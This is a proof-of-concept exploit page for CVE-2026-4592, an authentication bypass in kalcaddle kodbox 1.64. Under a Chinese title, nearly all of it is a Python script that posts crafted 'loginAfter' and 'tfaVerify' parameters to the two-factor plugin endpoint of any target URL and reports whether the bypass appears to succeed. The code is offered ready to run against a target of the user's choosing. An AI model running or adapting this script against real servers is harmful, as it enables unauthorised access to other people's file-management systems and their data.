CVE-2026-4592 kodbox认证不当漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-4592 Authentication Bypass Target: kalcaddle kodbox 1.64 Endpoint: /plugins/client/controller/tfa/index.class.php """ # Vulnerable endpoint path endpoint = "/plugins/client/controller/tfa/index.class.php" full_url = f"{target_url}{endpoint}" # Data payload to trigger the improper authentication # Manipulating loginAfter/tfaVerify parameters payload = { "loginAfter": "1", "tfaVerify": "bypass" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.post(full_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential authentication bypass detected!") print(f"[+] Response: {response.text[:100]}") else: print("[-] Exploit failed or endpoint not reachable.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") else: exploit(sys.argv[1])